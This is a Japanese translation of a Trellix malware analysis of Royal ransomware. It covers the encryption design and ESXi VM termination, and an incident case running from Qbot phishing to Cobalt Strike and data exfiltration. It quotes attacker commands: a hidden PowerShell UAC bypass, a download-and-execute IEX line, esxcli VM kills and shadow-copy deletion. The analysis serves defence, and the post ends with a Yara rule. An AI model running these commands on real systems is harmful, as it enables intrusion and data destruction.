Royalランサムウェアの分析とインシデントレスポンス

*インシデントレスポンス関連のデータについて、Trellix Professional ServicesのAdvanced Cyber Servicesチームのご協力に感謝します。

複数の系統のランサムウェアを使用する(RaaSではなく)プライベートグループとして2022年初頭に出現したRoyal ランサムウェアグループは、2022年9月から彼ら独自のランサムウェア「Royal」を使用しています。Bleeping Computerによる要約記事には、このギャングの歴史が記載されています。2023年3月2日、FBIとCISAは共同勧告を発表し、Royalランサムウェアの影響力を強調しました。このブログでは、RoyalランサムウェアのWindowsとLinuxの実行ファイルの内部構造を深く掘り下げ、その後、匿名化されたRoyalランサムウェアのインシデントレスポンス事例を紹介します。2つの実行ファイルは、Windows版ではネットワークスキャナが存在し、Linux版ではESXi仮想マシンを停止させることができるなど、いくつかの異なるモジュールを除けば、機能的に似た部分がありました。

また、チャンクベースの暗号化方式など、RoyalランサムウェアとContiの機能の一部が重複していることから、Contiと行動を共にした1人または複数の人物が、現在Royalランサムウェアのギャングと行動を共にしているか、詳細を共有している可能性があります。Contiが失脚したことで、メンバーは別のグループに移った可能性があります。あるいは、Royal ランサム一味がContiのランサムウェアのレポートを逆引きしたり、読んだりして、便利で面白いと思った機能を選び出した可能性もあります。

以下のスクリーンショットは、このマルウェアファミリーが世界的な規模で与える影響を示すものです。これらの検出は、過去2ヶ月間のテレメトリ(遠隔観測)から得られたものです。

Figure 1 - Last two months of Royal Ransom detections図1 – 過去2ヶ月間のRoyalランサムウェアの検出状況

分析対象サンプル

WindowsとLinuxの両方のサンプルのハッシュは、以下よりご覧ください。より多くのRoyal ランサムウェアのIOCについては、Trellix Insightsを確認可能な場合、関連するイベントをフィルタリングすることが可能です。
※上位10の脅威については、こちらからプレビューを見ることも可能です。Royalランサムウェアは2023年4月3日現在、7番目に表示されています。

Windows

 

MD-5

AFD5D656A42A746E95926EF07933F054

SHA-1

04028A0A1D44F81709040C31AF026785209D4343

SHA-256

9DB958BC5B4A21340CEEEB8C36873AA6BD02A460E688DE56CCBBA945384B1926

Compiler

Microsoft Visual C/C++ (2022 v.17.2)

Linker

Microsoft Linker (14.32, Visual Studio 2022 17.2)

 

Linux

 

MD-5

219761770AD0A94AC9879A6028BD8E55

SHA-1

554085B1FEF4B90C8679A9D10A2C758F10563A79

SHA-256

DCE73C3C9C2F0033EA90E6EAF3B43EB037F29C78D2D35A8D0DB9E46E30883626

Compiler

GCC (4.4.7 20120313 (Red Hat 4.4.7-23))

以下に、WindowsとLinuxの両サンプルについて、それぞれRSA公開鍵を記載します。

—–BEGIN RSA PUBLIC KEY—–

MIICCAKCAgEA0y6/qfb0GqxB2tNEW8qLCtT7U3XCzp1OVjVkaTH9SBV1k3NBElgC

esSVOFAUAG5nT3WO+CdN26ScoKsFjzKGYh8c7vyoi7L5dDBRdoTEW5+u2rBSIN3c

pkR0Wsq+gT3j0gtvjVybMfp6NRifsMfrcAV9tlrzUw7Da2mx+1Ik9Aa5RaaOxv8N

ahH6OSJ8Qz1G3uCgZaXAULlAqNnlN0KtSo4VsXt/sOnDh1pGFf8jqU8sqwJUkcWk

RdeYdsDyiDrUFxXkHJsiZb8lFk6b01Rm2yS9+kyZxi1yhB1m0kStUUmbN2aoZMy1

pIKxDa2clhhYw+JEMrbCKWW1Aif2hR55nBgL2kwiaNShXUm3yEsfbnd/lJ5ORMUF

tVmaEFEyvVutc86TcNhu0NCHfYihtgbcke7cvy23XnL/qlFL4OzdAnyupz0n69mk

1TSJBR7so3GhvQz53wTps9FXSwWlRpGLTCGRo4OnLnke7Hi5YL+Wb/4c6xWz8biX

+jNeg5Zko+CL3I7ywJkyCWuH9Pr7nccWr1s35BSV8Aj9rMwmOsak2BG91Db0yovg

FLmKMhkwxpBgFfePXIZF687DxpwYJ5fN44OyUCfNrtfejfSFtjhDCwFy/YpBhZ/w

2Bnw8hTLNALEIsDBhAlQBVYAGYhUgDbpvs/GN3qijyFWdESqlCK1Eg0CAQM=

—–END RSA PUBLIC KEY—–

 

—–BEGIN RSA PUBLIC KEY—–

MIICCAKCAgEAp/24TNvKoZ9rzwMaH9kVGq4x1j+L/tgWH5ncB1TQA6eT5NDtgsQH

jv+6N3IY8P4SPSnG5QUBp9uYm3berObDuLURZ4wGW+HEKY+jNht5JD4aE+SS2Gjl

+lht2N+S8lRDAjcYXJZaCePN4pHDWQ65cVHnonyo5FfjKkQpDlzbAZ8/wBY+5gE4

Tex2Fdh7pvs7ek8+cnzkSi19xC0plj4zoMZBwFQST9iLK7KbRTKnaF1ZAHnDKaTQ

uCkJkcdhpQnaDyuUojb2k+gD3n+k/oN33Il9hfO4s67gyiIBH03qG3CYBJ0XfEWU

cvvahe+nZ3D0ffV/7LN6FO588RBlI2ZH+pMsyUWobI3TdjkdoHvMgJItrqrCK7BZ

TIKcZ0Rub+RQJsNowXbC+CbgDl38nESpKimPztcd6rzY32Jo7IcvAqPSckRuaghB

rkci/d377b6IT+vOWpNciS87dUQ0lUOmtsI2LLSkwyxauG5Y1W/MDUYZEuhHYlZM

cKqlSLmu8OTitL6bYOEQSy31PtCg2BOtlSu0NzW4pEXvg2hQyuSEbeWEGkrJrjTK

v9K7eu+eT5/arOy/onM56fFZSXfVseuC48R9TWktgCpPMkszLmwY14rp1ds6S7OO

/HLRayEWjwa0eR0r/GhEHX80C8IU54ksEuf3uHbpq8jFnN1A+U239q0CAQM=

—–END RSA PUBLIC KEY—–

身代金メモ(ランサムノート)

サンプルに含まれる身代金を要求するメモは以下の通りです。あるフォーマット指定子(”%s”)は、実行時に与えられたvictimIDで置き換えられることに注意してください。さらに、指定されたドメインは変更されています。このメモには、これ以上の変更は加えられていません。

Hello!

If you are reading this, it means that your system were hit by ‘Royal ransomware.’
Please contact us via :
http[://]royal2xthig3ou5hd7zsliqagy6yygk2cdelaxtni2fyad6dpmpxedid[.]onion/%s

In the meantime, let us explain this case.It may seem complicated, but it is not!
Most likely what happened was that you decided to save some money on your security infrastructure.
Alas, as a result your critical data was not only encrypted but also copied from your systems on a secure server.
From there it can be published online.Then anyone on the internet from darknet criminals, ACLU journalists, Chinese government(different names for the same thing), and even your employees will be able to see your internal documentation:personal data, HR reviews, internal lawsuitsand complains’, financial reports, accounting, intellectual property, and more!
Fortunately we got you covered!

Royal offers you a unique deal.For a modest royalty(got it; got it ? ) for our pentesting services we will not only provide you with an amazing risk mitigation service,covering you from reputational, legal, financial, regulatory, and insurance risks, but will also provide you with a security review for your systems.

To put it simply, your files will be decrypted, your data restore and kept confidential, and your systems will remain secure.

Try Royal today and enter the new era of data security!
We are looking to hearing from you soon!

Windows版

Royalランサムウェアはコマンドライン引数を使用し、その前にフラグを付けます。可能なフラグは3つあり、以下の表にその意図する動作の簡単な説明とともに示されています。

フラグ

概要

必須項目

-id

使用するvictimIDは、正確に32(0x20)文字のサイズである必要があり、そうでなければマルウェアは早期にシャットダウンする

Yes

-path

ファイルの暗号化を再帰的に開始する場所を指定。このパラメータを使用しない場合、マシンに接続されているすべてのドライブが暗号化され、その後、マルウェアはネットワーク上で自己拡散を試みる

No

-ep

99以下の数値で、遭遇したファイルの何パーセントが暗号化されるかを指定。このフラグが省略された場合、デフォルトの50が使用される

No

下のスクリーンショットは、コマンドラインインターフェイスの引数処理をフラグとともに示しています。デコンパイルしてリファクタリングしたコードでは、ファイルの暗号化率が99以上の場合に50に設定されること、与えられたvictimIDが設定されること、与えられたパスが格納されることなどが確認されます。

Figure 2 - Command-line argument parsing
図2 – コマンドライン引数のパース

コマンドライン引数が処理されると、ランサムウェアは、必要なコマンドライン引数とともに、新しいプロセスとして「vssadmin」を起動し、すべてのシャドーコピーを静かに削除する作業に移ります。ランサムウェアは、新たに起動した「vssadmin」プロセスがシャドーコピーの削除を完了するまで待機し、その後に実行を継続します。

Figure 3 - Shadow copy deletion
図3 – シャドーコピーの削除

つまり、C:ドライブにWindowsがインストールされていないシステムでは、シャドーコピーの削除は失敗し、ランサムウェアは実行を継続します。

この時点で初めて、与えられたID(「-id」フラグで渡される)が必要な32文字の長さであるかどうかがチェックされます。これが失敗すると、Royalランサムウェアは単に実行を停止します。

Figure 4 - Victim ID length check
図4 – 被害者IDの長さチェック

次に、スタック文字列とバイナリのデータセクション内の文字列をもとに、回避すべき拡張子を初期化します。回避される拡張子は、exe、dll、lnk、bat、およびroyalです。さらに、readme.txt ファイルはランサムウェア自身によって配置されるため、無視されます。

このランサムウェアは、windows、royal、$recycle.bin、google、perflogs、Mozilla、tor browser、boot、$windows.~ws、$windows.~bt、windows.oldという複数のフォルダーを避けています。これらのフォルダには関連データがあるため避け、ここにあるファイルを暗号化するとシステムが正常に起動しなくなります。誤作動している端末はランサムウェアの手下との接触につながりにくいため、身代金のメモが読める程度に端末を「機能」させておき、復号機で端末のファイルを復元できるようにします。

ステージ設定

暗号化はマルチスレッド方式で開始され、スレッド数は被害者のマシンのプロセッサ数の2倍に相当します(GetNativeSystemInfoの結果に基づく)。このように、システムのスケジューラは、タスクを並行して実行しながらも、多すぎるスレッドによって過負荷になることはありません。

Figure 5 - Encryption thread creation
図5 – 暗号化スレッドの作成

ファイルをトラバースしながら暗号化関連のスレッドで暗号化を開始するのではなく、スレッドは条件変数がターゲットファイルの有無を知らせるのを待ちます。

各スレッドは、マルウェアサンプルに埋め込まれたRSA公開鍵をインポートして、AES値とIV値を暗号化し、ファイルの暗号化に使用します。

Figure 6 - Encryption thread creation
図6 – 公開RSA鍵

なお、何らかの理由でRSA公開鍵が取得できない場合、スレッドは単に終了します。Windows APIの暗号化関数を使用すると、静的解析に現れるか、動的に解決する必要があるため、OpenSSLライブラリはマルウェアと静的にリンクされており、同様の機能を提供します。使用されている暗号は、残念ながら正しく実装されています。

ロックされたファイルの暗号化の試みを回避するために、ランサムウェアはまず、そのファイルがロックされているかどうかをチェックします。ロックされている場合、Windows再起動マネージャを使用して、ファイルが利用可能であることを確認します。特筆すべきは、2つのプロセスが解放の対象から外されていることです: “explorer.exe” と Royalランサムウェアのプロセスです。この2つのどちらでもないプロセスがロックされた場合、再起動マネージャが使用されます。

Figure 7 - Process iteration
図7 – プロセスの反復

RmStartSession “でセッションを開始し、”RmRegisterResources “でリソース(この場合はファイル)を登録します。その後、”RmGetList “でリソースをロックしているアプリケーションやサービスをチェックし、”RmShutdown “でリソースをクローズし、ロックを解除します。

Figure 8 - Restart Manager related functions to free to process
図8 – Restart Manager関連機能から処理への解放

ファイルの暗号化

ファイルの暗号化は、与えられたファイルのデータのチャンクに基づいて行われます。暗号化率を指定するオプションのフラグは、ファイルのサイズに基づいて、指定されたファイル内で何ブロックが暗号化される必要があるかを指定します。フラグを指定しない場合は、ファイルの半分が暗号化されます。

ランサムウェアの実行ごとに、各ファイルの一定割合を暗号化するというきめ細かいアプローチにより、オペレータは、高速で安全性の低いアプローチを取るか、低速で安全性の高いアプローチを取るかを決定できます。暗号化の割合が低すぎる場合、ファイルは復元できるかもしれませんが、暗号化にかかる時間は重要ではありません。高い割合(90%)を使用すると、より多くのデータを暗号化し、鍵なしでの復旧は不可能ではないにせよ難しくなり、ファイルの暗号化にはかなりの時間を費やすことになります。さらに、ファイルを完全に暗号化しないことで、ランサムウェアをブロックするためにセキュリティ製品が引き起こす、ディスクの大量使用を避けることができます。

元のファイルは、(部分的に)暗号化されると、528バイト分増えることになります。RSAブロック、元のファイルサイズ、暗号化率の値は、新しく作成されたスペースに格納されます。与えられたフィールドのサイズは、それぞれ、512、8、8バイトです。

暗号化率はすべてのファイルに適用されるわけではありません。5245000バイト(よく使われる1000バイトではなく、1キロバイトあたり1024バイトに準拠する場合は5メガバイト)以下のサイズのファイルは、与えられた暗号化率に関わらず、完全に暗号化されます。

Figure 9 - The encryption percentage chunk creation
図9 – 暗号化率チャンク作成について

なお、チャンクベースのアプローチは、Contiランサムウェアにも存在します。

Figure 10 - Writing the encrypted file chunks
図10 – 暗号化されたファイルチャンクを書き込む

データの書き込みが完了すると、Windows API関数「FlushFileBuffers」でフラッシュされ、変更がディスク上に持続されるようにします。次に、ランサムウェアは暗号化されたファイルを移動することで、移動先が元々持っていた名前とは異なる名前に変更します。変更後の名前は、古い名前に拡張子「.royal」が付加されたものです。ファイル名の変更には、Windows API関数「MoveFileExW」が使用されます。

Figure 11 - Renaming the file by moving it
図11 – 移動によるファイル名の変更

再帰的なフォルダー列挙

新しいスレッドが作成され、すべての論理ドライブが取得されます。他のランサムウェアやワイパーとは異なり、ドライブのメディアタイプはチェックされないため、ファイル暗号化が試みられる一方で、書き込みができないドライブが存在する可能性があります。

Figure 12 - Obtaining the logical drives
図12 – 論理ドライブの取得

遭遇した各フォルダ内には、身代金メモが配置されます。身代金メモには、コマンドラインインターフェイスで提供されたvictimIDが含まれています。

Figure 13 - Write the ransom note
図13 – 身代金メモを書く

ブロックリストの拡張子やフォルダ名が一致しないことを意味する有効な各ファイルは、リストに追加されます。このリストは、暗号化スレッドに新しいファイルが利用可能であることを指示する方法であり、その後、そのファイルは暗号化されます。

Figure 14 - Add a “valid ” target file to the list, which the encryption threads use
図14 – 暗号化スレッドが使用する「有効な」ターゲットファイルをリストに追加

暗号化スレッドは、暗号化された時点でファイルをリストから削除し、リストから次のアイテムがあればピックアップします。

Figure 15 - Fetch an item from said list
図15 – リストから項目を取得

ネットワークスキャナ

コマンドラインインターフェイスでパスを指定しなかった場合、マルウェアは被害者のデバイス上のすべてのIPアドレスを取得し、その後、取得したIPのサブセットに基づいてネットワークをスキャンします。192」、「10」、「100」、「172」に等しいオクテットで始まるアドレスのみが使用され、これらはローカルネットワークに対応する傾向があるためです。

Figure 16 - Compare the obtained IP with the targeted addresses
図16 – 取得したIPとターゲットアドレスの比較

WSASocketW」を使用して新しく作成されたソケットは、「CreateIoCompletionPort」を使用して、補完ポートにリンクされます。ポート445を使用するSMB接続は、「ConnectEx」へのコールバックを使用します。当初、マルウェアはWinSockライブラリを使用し、「WSAIoctl」を使用してTCPソケット接続を確立し、「ConnectEx」に接続します。このようにして、被害者のマシンで以前に行われた接続が列挙され、可能であれば再利用され、接続されたデバイスのファイルも暗号化することを目的としています。

Figure 17 - Binding the socket to the completion port
図 17 – ソケットを補完ポートにバインド

ADMIN$」と「IPC$」という文字列を持たないシェアは、暗号化スレッドが使用する暗号化対象リストに追加されます。

Figure 18 - Add the targeted shares to the list
図18 – 対象の株式をリストに追加

暗号化スレッドが終了すると、マルウェアは「ExitProcess」を使用して自身を終了させます。

Figure 19 - Malware's self-terminating call
図19 – マルウェアの自己終了 呼び出し

Linux版

ファイルの暗号化に先立ち、RoyalランサムウェアのLinuxバージョンは、生成された値のランダム性をチェックします。ランダム性が十分でない場合、「/dev/random」から2048バイトを読み込んでシード化します。データの読み取り中、またはランダム関数のいずれかを呼び出す際にエラーが発生した場合、マルウェアは自身を終了させます。

Figure 20 - RSA testing
図20 – RSAテスト

事前のテストが成功した場合、バイナリ内に存在するRSA公開鍵を使用して、値「test」を持つテスト文字列が暗号化されます。結果が正しければ、デバッグ出力にその旨が表示され、関数はtrueを返します。失敗した場合、関数はfalseを返します。

次に、与えられたフラグによって設定される可能性のあるローカル変数が初期化されます。フラグは下表に示すとおりです。

フラグ

概要

必須項目

 

再帰的な暗号化を開始するパス。この動作のフラグはなく、最初の引数として指定する必要がある

Yes

-id

使用するvictimIDは、正確に32(0x20)文字のサイズである必要があり、そうでなければマルウェアは早期にシャットダウンする

Yes

-ep

99以下の数値で、遭遇したファイルの何パーセントを暗号化するかを指定。このフラグが省略された場合、デフォルトの50が使用される

No

-vmonly

このフラグとforkフラグを組み合わせると、すべてのファイルが暗号化される。単独で使用した場合は、何も起こらない

No

-fork

プロセスをフォークし、ファイルを暗号化する前に新しいセッションが開始されるようにする

No

-logs

デバッグメッセージを標準出力に出力

No

-stopvm

ワールドIDに基づき、デバイス上のすべてのESXi VMを終了させる

No

以下に示すような暗号化率のチェックでは、1~99の値が確認できない場合、50に設定されます。

Figure 21 - Set the encryption percentage
図21 – 暗号化率を設定

ロギングでは、以下のスクリーンショットのように、デバッグメッセージを標準出力で出力するように強制します。

Figure 22 - Set the logging
図22 – ロギングを設定

victimIDは、Windows版と同様、必須です。長さは同様32文字で、IDがない場合、または長さが32(16進数では0x20)でない場合、エラーメッセージが表示され、関数はfalseを返します。falseを返すと、その後、マルウェアはシャットダウンします。

Figure 23 - VIctim ID handling
図23 – VIctim IDの取り扱い

仮想マシンの終了

ホスト上で動作しているVMware ESXi仮想マシンを停止するには、「-stopvm」フラグを使用します。まず、「esxcli」バイナリが新しいシェル経由で実行され、「vm process list > list」をパラメータとして、標準出力をファイル「list」にリダイレクトして既存の仮想マシンのリストを保存する役割を果たします。ESXiコマンドラインインターフェイスコマンドを実行するシェルは、「execlp」を介して呼び出され、フォークされたプロセスと呼び出されたプロセスとを重ね合わせます。

Figure 24 - Terminate VMs
図24 – VMを終了

最後に、子プロセスが終了します。Royalランサムウェアである親プロセスは、子プロセスの終了を待って「list」ファイルを開きます。存在しない場合、関数は戻ります。返ってきた場合、”list “のファイルサイズがチェックされます。これが失敗すると、この関数も戻ります。

Figure 25 - Read the ‘list’ file‚s size
図25 – “list “ファイルのサイズを読み取る

list “ファイルのサイズに基づいて、新しいメモリブロックが割り当てられ、その後、コンテンツがメモリにロードされます。「World ID:」文字列は、「strstr」とその後の改行文字 (「\n」) の助けを借りて、ワールド ID を見つけるために使用されます。

Figure 26 - Search through the ‘list’ file
図26 – “list “ファイルから検索

取得したワールドIDのそれぞれは、”esxcli “バイナリを再度使用して、以下のコマンドライン引数 “vm process kill -type=hard -world-id=%s” (%sはワールドID)でVMを終了させるために使用します。

Figure 27 - Terminate a given VM
図27-指定したVMを終了

前のプロセスのスポーンと同様に、「fork」、「execlp」、「exit」、「wait」の組み合わせにより、ランサムウェアは、新しくスポーンされたプロセスが終了した場合にのみ継続されます。

Figure 28 - Wait until the termination finishes
図28 – 終了が完了するまで待機

ファイルの暗号化

暗号化は、”-fork “フラグの有無によって、メインプロセスで実行されるか、フォークされたプロセスで実行されるかが決まります。forkフラグが設定されている場合、setsidを使用した新しいセッションが作成され、暗号化が開始されます。forkフラグが設定されていない場合は、メインプロセスから暗号化が開始されます。

Figure 29 - Creates a new session (based on the ‘-fork’ flag) and starts the encryption
図29 – 新しいセッションを作成し(「-fork」フラグに基づく)、暗号化を開始

ファイルを暗号化するために作成されるスレッド数は、「sysconf」を使用して取得されるプロセッサ数の2倍に相当します。計算方法は、Windowsのバリアントと同じです。

マルウェアに埋め込まれているRSA公開鍵がインポートされます。公開鍵の完全なものは、このブログの冒頭で紹介しています。インポートに失敗した場合、スレッドは戻ります。

Figure 30 - Import the RSA key
図30 – RSA 鍵のインポート

暗号化スレッドは、Windows版と同じように、リストからターゲットファイルを読み込みます。リストが空の場合、暗号化スレッドは待機します。暗号化処理は、ターゲット・ファイルのサイズを取得することから始まります。次に、ランダム関数と”/dev/random “からの読み込みにより、48バイトがランダムに生成されます。最初の32バイトがAESキーで、最後の16バイトがIVです。

Figure 31 - Generate the RSA block
図31- RSAブロックの生成

両方の値は、以前にインポートしたRSA公開鍵で暗号化されます。暗号化の最初の512バイトは、Windows版と同様に、暗号化されたファイルに保存されます。値は、先にインポートされたRSA鍵で暗号化され、後の暗号化の512バイトのブロックは、Windows版と同様にファイルに保存されます。

チャンクの使い方はWindows版と同じで、暗号化率はコマンドラインインターフェイスで指定するか、デフォルト値の50が使われます。ここでも、5245000バイト(1キロバイトの1024バイトを守る場合、5メガバイトなど)以下のファイルは、完全に暗号化されます。それ以外の場合は、パーセンテージによってチャンクサイズが決定され、指定されたパーセンテージでファイルが暗号化されるようになります。

Figure 32 - Encryption ‘sanity’ checks
図32 – 暗号化「sanity」チェック

暗号化されたファイルのサイズは再び膨らみ、暗号化されたRSAブロックを格納するために512バイト、元のファイルサイズを格納するために8バイト、暗号化率の値を格納するために8バイトが使用されることになります。

Figure 33 - Append additional data to the file図33 – ファイルに追加データを追加

AESキーとIVは、暗号化が終了すると「memset」を使ってクリアされるが、これはメモリ上の値へのアクセスを避けるためです。その後、書き込まれたデータはフラッシュされ、暗号化されたファイルのデータが確実にディスクに書き込まれます。フラッシュは “fsync “で実行されます。さらに、ファイル名に「.royal_u」という拡張子が付加されます。

Figure 34 - Rename the target file
図34 – 対象ファイルの名前を変更

再帰的なフォルダー列挙

他のランサムウェアファミリーと同様に、Royalランサムウェアはデバイス上のすべてのフォルダを再帰的に列挙して、暗号化できるファイルを探します。コマンドラインインターフェイスの最初の引数であるパスは、開始点として使用されます。指定された値が有効なパスでない場合、マルウェアは終了します。有効なパスである場合、マルウェアはそれをディレクトリとみなし、与えられたフォルダ内の「readme」名の下に身代金メモを置きます。指定されたvictimIDは、身代金メモの中で置き換えられます。

Figure 35 - Write the ransom note図35 – 身代金メモを書く

その後、ファイル暗号化を再帰的に開始し、名前が1ドットまたは2ドットに等しいフォルダを除外します。

Figure 36 - Encryption excludes ‘.’ and ‘..’ folder names
図36 -「.」と「…」のフォルダ名を暗号化で除外

除外されるファイル名は、以下のいずれかを含むファイルです:”royal_u”, “royal_w”, “.sf”, “.v00”, “.b00”, “royal_log_”, “readme”.royal_w」は、Windows版では「_w」の部分が使われていないのに、Windows版の暗号化ファイルの拡張子を指しているようです。royal_log_」の名前は、ランサムウェアでは使用されていないようです。

Figure 37 - Excluded file names
図37 – 除外されるファイル名

暗号化の対象となるファイルがあれば、そのファイルはリストに追加され、暗号化スレッドがそこからアイテムを取り出して暗号化し、その後、リストから削除されます。すべてのフォルダが再帰的に繰り返された後、マルウェアはシャットダウンします。

匿名化されたインシデントレスポンス事例

このセクションでは、匿名化されたインシデントレスポンス事例を掲載しているため、特定の侵害の指標は省略されています。このケースの焦点は、Royalランサムウェアでシステムを暗号化したアクターの戦術、技術、手順 (TTP) を示すことです。このケースの出来事は時系列で説明されており、2022年の最終四半期に起こったものです。

行為者は、フィッシングメールで最初の初期アクセスを取得しました。この電子メールは、既存の良質の電子メールスレッドに基づいており、HTMLファイルの形で悪意のある添付ファイルが含まれています(HTMLの密輸)。HTMLファイルを開くと、アーカイブのダウンロードを促すポップアップが表示されます。このウェブページは、ファイルを正しく表示するためにファイルをダウンロードするよう被害者に指示する誘い文句になっています。また、ページ上ではアーカイブのパスワードが与えられています。

Figure 38 - The lure image
図38 – ルアー画像

アーカイブ自体には、ISO イメージが含まれています。このイメージをマウントすると、ショートカット(LNK)と、おとりファイル、バッチファイル、Qbotペイロードを含む隠しフォルダの複数のファイルが含まれます。バッチファイルとQbotペイロードは、それぞれ「revalues.cmd」「vindictive.dat」という名前です。バッチスクリプトは、Qbotマルウェアを被害者の一時フォルダにコピーし、マウントされたドライブから「regsvr32」を使用してペイロードを実行します。を使用して、バッチスクリプトを実行します:バッチスクリプトは、次のように実行されます: “C:∕WindowsSystem32∕cmd.exe /c standby∕revalues.cmd regs”。regs “引数は、以下のスクリプトの抜粋にあるように、実行中に “regsvr32 “の名前を補完するために使用されます。

Figure 39 - Part of the batch script
図39 – バッチスクリプトの一部

Qbotはその後、Runnレジストリエントリの助けを借りて、起動順序にそれ自身を永続させます。

このエントリは、マシンが起動するたびに、再び「regsvr32」を使用して Qbot を実行します。:
“regsvr32.exe “C:\Users\[redacted]\AppData\Roaming\Microsoft\Jmcoiqtmeft\nwthu.dll””

ダブルクォーテーションは、パスに1つ以上のスペースが含まれていても正常に実行されるようにするためのものです。

最初の感染から約4時間後、Cobalt Strikeはドメインコントローラのサービスとしてインストールされ、localhostのポート11925で実行されました。なお、ドメインコントローラ上の足場への横移動は、Pass-the-Hashを使用して行われた。この横移動は、最初の感染から1時間後に始まり、2時間余りかかりました。AdFindのようなアクティブディレクトリネットワークを列挙するための追加ツールも使用されました。

横移動の際に特権を昇格させるために、UAC バイパスが使用されました。このバイパスは、ここで説明されているように、Windows 10のディスククリーンアップツールのレースコンディションに基づいており、DLLのハイジャックにより、昇格した権限で任意のコードを実行することができます。UACバイパスを実行するコマンドは、次のとおりです。
“C:╱WindowsSystem32WindowsPowerShell╱v1.0powershell.exe -NoP -NonI -w Hidden -c $x=$((gp HKCU:SoftwareMicrosoft Windows Update).Update); powershell -NoP -NonI -w Hidden -enc $x; Start-Sleep -Seconds 1system32cleanmgr.exe /autoclean /d C:”

昇格した特権を使用して、ポート11925でCobalt Strikeのサービスを介してPowerSploit(悪用後のフレームワーク)を起動させるPowerShellコマンドを実行しました。このケースでは、PowerViewモジュールがダウンロードされ、実行されました。モジュールは、PowerShell コマンド「IEX (New-Object Net.Webclient).DownloadString(‘http://127.0.0.1:11925/’)」を使用してダウンロードされました。

その数日後、ネットワークで足場を固めると、MEGAsyncを使って25ギガバイト以上のデータを流出させました。さらにその数日後、「Royalランサムウェア」が展開されました。ここで注目すべきは、実行可能ファイルの名前です。これは、被害者の名前の後に付けられています。これは、行為者が手動で関与していることを示すものです。

このインシデントレスポンス事例をまとめると、下の画像のように、1日単位で行動していることになります。

Figure 40 - Incident response timeline
図40 – インシデントレスポンスのタイムライン

全体として、初期感染から完全に侵害された環境までの素早い展開は、ブルーチームの観点から物事を把握することが重要である理由を示しています。Qbotに関するより詳細な情報はこちら、またQbotの変化の歴史的な概要はThreatrayによって提供されています。

結論

インシデントレスポンス事例で強調されているように、Royalランサムウェアは積極的に使用されています。さらに、このランサムウェアの暗号化スキームは適切に実装されているようです。そのため、失われたファイルを復元するには、最近のバックアップまたは復号化ツールが唯一の方法となります。チャンクベースの暗号化は、ファイルを復元できないようにしながらも、暗号化プロセスをスピードアップさせます。

RoyalランサムウェアとContiのように、ランサムウェアのグループ間で機能が再利用されていることから、ギャングが協力したり、ギャングのメンバーが別の(または追加の)ギャングに参加したりすることについて考える材料になります。端的に言えば、あるギャングのランサムウェアの進化は、他のランサムウェアのギャングに影響を与え、標的となる組織に影響を与えることになります。そのため、常に変化を把握し、必要に応じてセキュリティ態勢を改善することが重要です。

Appendix A – MITRE ATT&CK テクニック

Royalランサムウェアで使用されるテクニックと、インシデントレスポンスのケースで使用されるテクニックを以下に示します。

Technique ID

Technique

T1566.001

Phishing: Spear phishing Attachment

T1078

Valid Accounts

T1059

Command and Scripting Interpreter

T1559

Inter-Process Communication

T1106

Native API

T1053.005

Scheduled Task/Job: Scheduled Task

T1569.002

System Services: Service Execution

T1204.002

User Execution: Malicious File

T1543.003

Create or Modify System Process: Windows Service

T1547

Boot or Logon Autostart Execution

T1574.001

Hijack Execution Flow: DLL Search Order Hijacking

T1486

Data Encrypted for Impact

T1020

Automated Exfiltration

T1567

Exfiltration Over Web Service

T1021.002

Remote Services: SMB/Windows Admin Shares

T1135

Network Share Discovery

 


Appendix B – 使用ツール

使用したツールを下の表に示します。

Tool

Description

Cobalt Strike

A C&C framework

PowerSploit

A post-exploitation PowerShell-based framework

AdFind

A command line Active Directory query tool

MEGAsync

Synchronization tool between the MEGA cloud storage and one or more local devices

regsvr32

Registers .dll files as command components in the registry

vssadmin

Handle and interact with shadow copies

esxcli

Provides (remote) access to the ESXi machines via the command-line interface


Appendix C – Yara ルール

以下に示す Yara ルールは、Royalランサムウェアを検出するために使用されます。

rule RoyalRansom
{
meta:
author = “Max ‘Libra’ Kersten for Trellix’ Advanced Research Center (ARC)”
version = “1.0”
description = “Detects the Windows and Linux versions of Royal Ransom”
date = “20-03-2023”
malware_type = “ransomware”

strings:
$all_1 = “http://royal2xthig3ou5hd7zsliqagy6yygk2cdelaxtni2fyad6dpmpxedid.onion/%s”
$all_2 = “In the meantime, let us explain this case.It may seem complicated, but it is not!”
$all_3 = “Royal offers you a unique deal.For a modest royalty(got it; got it ? ) for our pentesting services we will not only provide you with an amazing risk mitigation service,”
$all_4 = “Try Royal today and enter the new era of data security!”
$all_5 = “We are looking to hearing from you soon!”

condition:
all of ($all_*)
} 

本記事およびここに含まれる情報は、啓蒙目的およびTrellixの顧客の利便性のみを目的としてコンピュータ セキュリティの研究について説明しています。Trellixは、脆弱性合理的開示ポリシーに基づいて調査を実施しています。記載されている活動の一部または全部を再現する試みについては、ユーザーの責任において行われるものとし、Trellixおよびその関連会社はいかなる責任も負わないものとします。

※本ページの内容は2023年4月3日(US時間)更新の以下のTrellix Storiesの内容です。
原文: A Royal Analysis of Royal Ransom
著者: Alexandre Mundo, and Max Kersten